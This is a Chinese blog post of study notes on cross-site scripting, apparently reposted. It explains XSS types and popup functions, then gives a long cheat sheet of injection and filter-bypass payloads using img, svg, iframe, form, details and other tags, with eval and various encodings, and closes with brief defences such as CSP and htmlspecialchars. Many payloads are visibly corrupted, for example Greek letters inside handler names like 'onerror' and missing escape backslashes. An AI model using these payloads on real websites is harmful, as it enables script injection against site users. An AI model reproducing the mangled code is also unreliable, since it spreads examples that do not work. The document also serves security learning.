本文介绍: 跨站脚本攻击 反射型 通过输入将脚本嵌入到页面中造成弹窗;一次性的 存储型 原理同反射型;但是输入的内容会保存到数据库中;每次访问都会加载;持续性的 DOM型(DOM是一种html文本存储结构,方便对html节点进行处理,前端) 组成 元素节点:标签 文本节点:标签输出的内容 属性节点:标签样式设置 前端存储的js脚本利用DOM结构来管理页面元素、内容和属性(本地处理) 页面展示无
  • 跨站脚本攻击

    • 反射型
      • 通过输入将脚本嵌入到页面中造成弹窗;一次性的
    • 存储型
      • 原理同反射型;但是输入的内容会保存到数据库中;每次访问都会加载;持续性的
    • DOM型(DOM是一种html文本存储结构,方便对html节点进行处理,前端)
      • 组成
        • 元素节点:标签
        • 文本节点:标签输出的内容
        • 属性节点:标签样式设置
      • 前端存储的js脚本利用DOM结构来管理页面元素、内容和属性(本地处理)
      • 页面展示无需后端数据
      • DOM中可能存在xss的属性(从url中获取信息导致)
        • document.referer属性
        • location属性
        • innerHTML属性
        • document.write属性
  • 弹窗方式

    • alert(I);
      • 警告框;阻塞函数;只有一个确认按钮;
    • confirm()
      • 指定消息内容的弹窗;有确认和取消按钮;可以接收返回值
    • prompt()
      • 带有提示内容和输入框的弹窗;含有确认和取消按钮
      • 确认时返回用户输入的内容;取消时返回null
  • 编码方式

    • url编码:
    • html实体编码
    • js编码(unicode编码)
  • xss注入方法(重点掌握其中的方法和书写格式)

    • 图片
      • onerror (图片加载错误时触发)
        • <img src=”x” οnerrοr=alert(1)>
        • <img src=’1′ οnerrοr=eval(“alert(‘xss’)”)>
      • 字符拼接(利用eval)
        • <img src=”x” οnerrοr=”a=aler;b=t;c='(xss);’;eval(a+b+c)”>
      • 字符拼接(利用top)
        • <script>top[“al”+”ert”](“xss“);</script>(只有两个“这里是为了凸显出有`符号)
      • 编码绕过(了解方法和书写格式)
        • 编码unicode绕过
          • <img src=”x” οnerrοr=”alert(“xss”);”>
          • <img src=”x” οnerrοr=”eval(‘u0061u006cu0065u0072u0074u0028u0022u0078u0073u0073u0022u0029u003b’)”>
        • url编码绕过
          • <img src=”x” οnerrοr=”eval(unescape(‘%61%6c%65%72%74%28%22%78%73%73%22%29%3b’))”>
          • <img src=”x” οnerrοr=document.location=“http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/“>
        • ascii编码
          • <img src=”x” οnerrοr=”eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))”>
        • hex编码
          • <img src=x οnerrοr=eval(‘x61x6cx65x72x74x28x27x78x73x73x27x29’)>
        • 八进制编码
          • <img src=x οnerrοr=alert(‘170163163’)>
        • base64编码
          • <img src=”x” οnerrοr=”eval(atob(‘ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw==’))”>
    • 事件触发函数(input标签常用)
      • onmouseover
        • 鼠标移过到元素时触发
      • onmouseout
        • 鼠标移出元素时触发
      • onclick
        • 单击触发
      • onmousedown
        • 元素上鼠标按下时触发
      • onmouseup
        • 鼠标抬起时触发
      • oncontextmenu
        • 在元素上按下鼠标右键时触发
      • onfocus
        • 获取焦点时触发(选中触发)
        • <input οnfοcus=”alert(‘xss’);”>
        • 自动将焦点锁定到元素身上 autofocus
          • <input οnfοcus=”alert(‘xss’);” autofocus>
      • onblur
        • 失去焦点时触发
        • <input οnblur=”alert(‘xss’);”>
        • 竞争焦点,从而触发
          • <input οnblur=alert(“xss”) autofocus><input autofocus>
      • onfocusin
        • 即将获取焦点时触发
        • <input οnfοcusin=”alert(‘xss’);”>
      • onfocusout
        • 即将失去焦点时触发
        • <input οnfοcusοut=”alert(‘xss’);”>
      • onkeydown
        • 键盘按下按键时触发
        • <input type=”text” οnkeydοwn=”alert(1)”>
      • onkeypress
        • 键盘按下时触发
      • onkeyup
        • 键盘按键抬起时触发
      • onload
        • 页面加载时触发;用在某些引入外部资源的标签中
    • a标签
      • <a href=”跳转目的地的链接”>内容</a>
      • <a href=javascript:alert(‘xss’)>test</a>
      • <a href=”javascript:a” οnmοuseοver=”alert(/xss/)”>aa</a>
      • <a href=”” οnclick=alert(‘xss’)>a</a>
      • <a href=”” οnclick=eval(alert(‘xss’))>aa</a>
      • <a href=”” οnfοcus=alert(‘xss’)>a</a>
      • <a href=kycg.asp?ttt=1000 οnmοuseοver=prompt(‘xss’) y=2016>aa</a>
    • from标签
      • 创建一个表单
      • <form action=javascript:alert(‘xss’) method=”get”>
      • <form action=javascript:alert(‘xss’)>
      • <form method=post action=aa.asp? οnmοuseοver=prompt(‘xss’)>
      • <form method=post action=aa.asp? οnmοuseοver=alert(‘xss’)>
      • <form action=1 οnmοuseοver=alert(‘xss)>
      • <form method=post action=”data:text/html;base64,<script>alert(‘xss’)</script>”>
      • <form method=post action=”data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=”>
    • <iframe>标签
      • 创建一个内联框架显示引入的外部网站的信息;引入网站内容会嵌入当前页面
      • <iframe οnlοad=alert(“xss”);></iframe>
      • <iframe src=javascript:alert(‘xss’)></iframe>
      • <iframe src=”data:text/html,&lt;script&gt;alert(‘xss’)&lt;/script&gt;”></iframe>
      • <iframe src=”data:text/html;base64,<script>alert(‘xss’)</script>”>
      • <iframe src=”data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=”>
      • <iframe src=”aaa” οnmοuseοver=alert(‘xss’) /><iframe>
      • <iframe src=”javascript&colon;prompt&lpar;“xss“&rpar;”></iframe>(““只有两个“)
    • svg标签
      • 矢量图形标签
      • <svg οnlοad=alert(1)>
      • 括号被过滤时可用throw
        • <svg/οnlοad=”window.οnerrοr=eval;throw’=alertx281x29′;”>
    • body
      • 主标签;
      • <body οnlοad=”alert(1)”>
      • 利用换行符以及autofocus,自动去触发onscroll事件,无需用户去触发
        • <body οnscrοll=alert(“xss”);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
    • button
      • <button οnclick=”alert(1)”>text</button>
    • p标签
      • <p οnmοusedοwn=”alert(1)”>text</p>
      • <p οnmοuseup=”alert(1)”>text</p>
    • details标签
      • 规定一些用户需求的细节;open属性规定是否可见
      • ontoggle:details标签打开或关闭时触发
      • <details οntοggle=”alert(‘xss’);”>
      • 使用open属性触发,不需手动
        • <details open οntοggle=”alert(‘xss’);”>
    • select
      • 创建下拉列表选项
      • <select οnfοcus=alert(1)></select>
      • <select οnfοcus=alert(1) autofocus>
      • <option>属于该标签的下属;设置具体选项内容;可以用</select>进行闭合
    • video
      • 创建一个视频框用于播放视频;视频文件需引入
      • <video><source οnerrοr=”alert(1)”>
      • <video src οnerrοr=”javascript:window.οnerrοr=alert;throw 1″>
    • audio
      • 音频标签
      • <audio src=x οnerrοr=alert(“xss”);>
    • textarea
      • 区域文本标签;如评论区
      • <textarea οnfοcus=alert(“xss”); autofocus>
    • keygen
      • 表单的密钥对生成器标签;html5新加
      • <keygen autofocus οnfοcus=alert(1)> //仅限火狐
    • marquee
      • 已废弃;插入文本的容器;
      • <marquee onstart=alert(“xss”)></marquee> //Chrome不行,火狐和IE都可以
    • isindex
      • 已废弃;
      • <isindex type=image src=1 οnerrοr=alert(“xss”)>//仅限于IE
    • 利用link远程包含js文件(在无CSP的情况下才可用)
    • expression属性
      • <img style=”xss:expression(alert(‘xss”))”> // IE7以下
      • <div style=”color:rgb(”�x:expression(alert(1))”></div> //IE7以下
      • <style>#test{x:expression(alert(/XSS/))}</style> // IE7以下
    • background属性
      • <table background=javascript:alert(1)></table> //在Opera 10.5和IE6上有效
  • a标签(用处很大,所有使用方法如下)

    • 访问图像(链接图片)
      • <a href=”https://www.w3school.com.cn“><img border=”0″ alt=”W3School” src=”w3logo.png” width=”400″ height=”225″></a>
    • 链接到电子邮件
      • <a href=”mailto:someone@example.com”>发送电子邮件</a>
    • 链接到电话号码
      • <a href=”tel:+8613888888888″>+86 138 8888 8888</a>
    • 链接到同一页的另一个部分
      • <a href=”#section2″>转到第二章</a>
    • 链接到JS代码(重点)
      • <a href=”javascript:alert(‘Hello World!’);”>执行 JavaScript</a>
  • 防御技巧

    • CSP内容安全策略
      • 将合法的域名和资源放到白名单下;禁止非白名单的url跳转和资源加载
      • 禁止加载外域代码,防止复杂的攻击逻辑。
      • 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
      • 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
      • 禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
    • 前端和后端对输入信息进行严格过滤
      • 输入验证+输出编码(代码)
      • waf+数据库安全(硬件)
    • 利用函数对输入信息进行转义(PHP)
      • 如利用htmlspecialchars();escape();等函数对输入信息进行转义;
      • 利用substr_replace()函数对敏感字符/字符串进行替换

原文地址:https://blog.csdn.net/I_WORM/article/details/135952832

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。

如若转载,请注明出处:http://www.7code.cn/show_64283.html

如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱:suwngjj01@126.com进行投诉反馈,一经查实,立即删除!

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注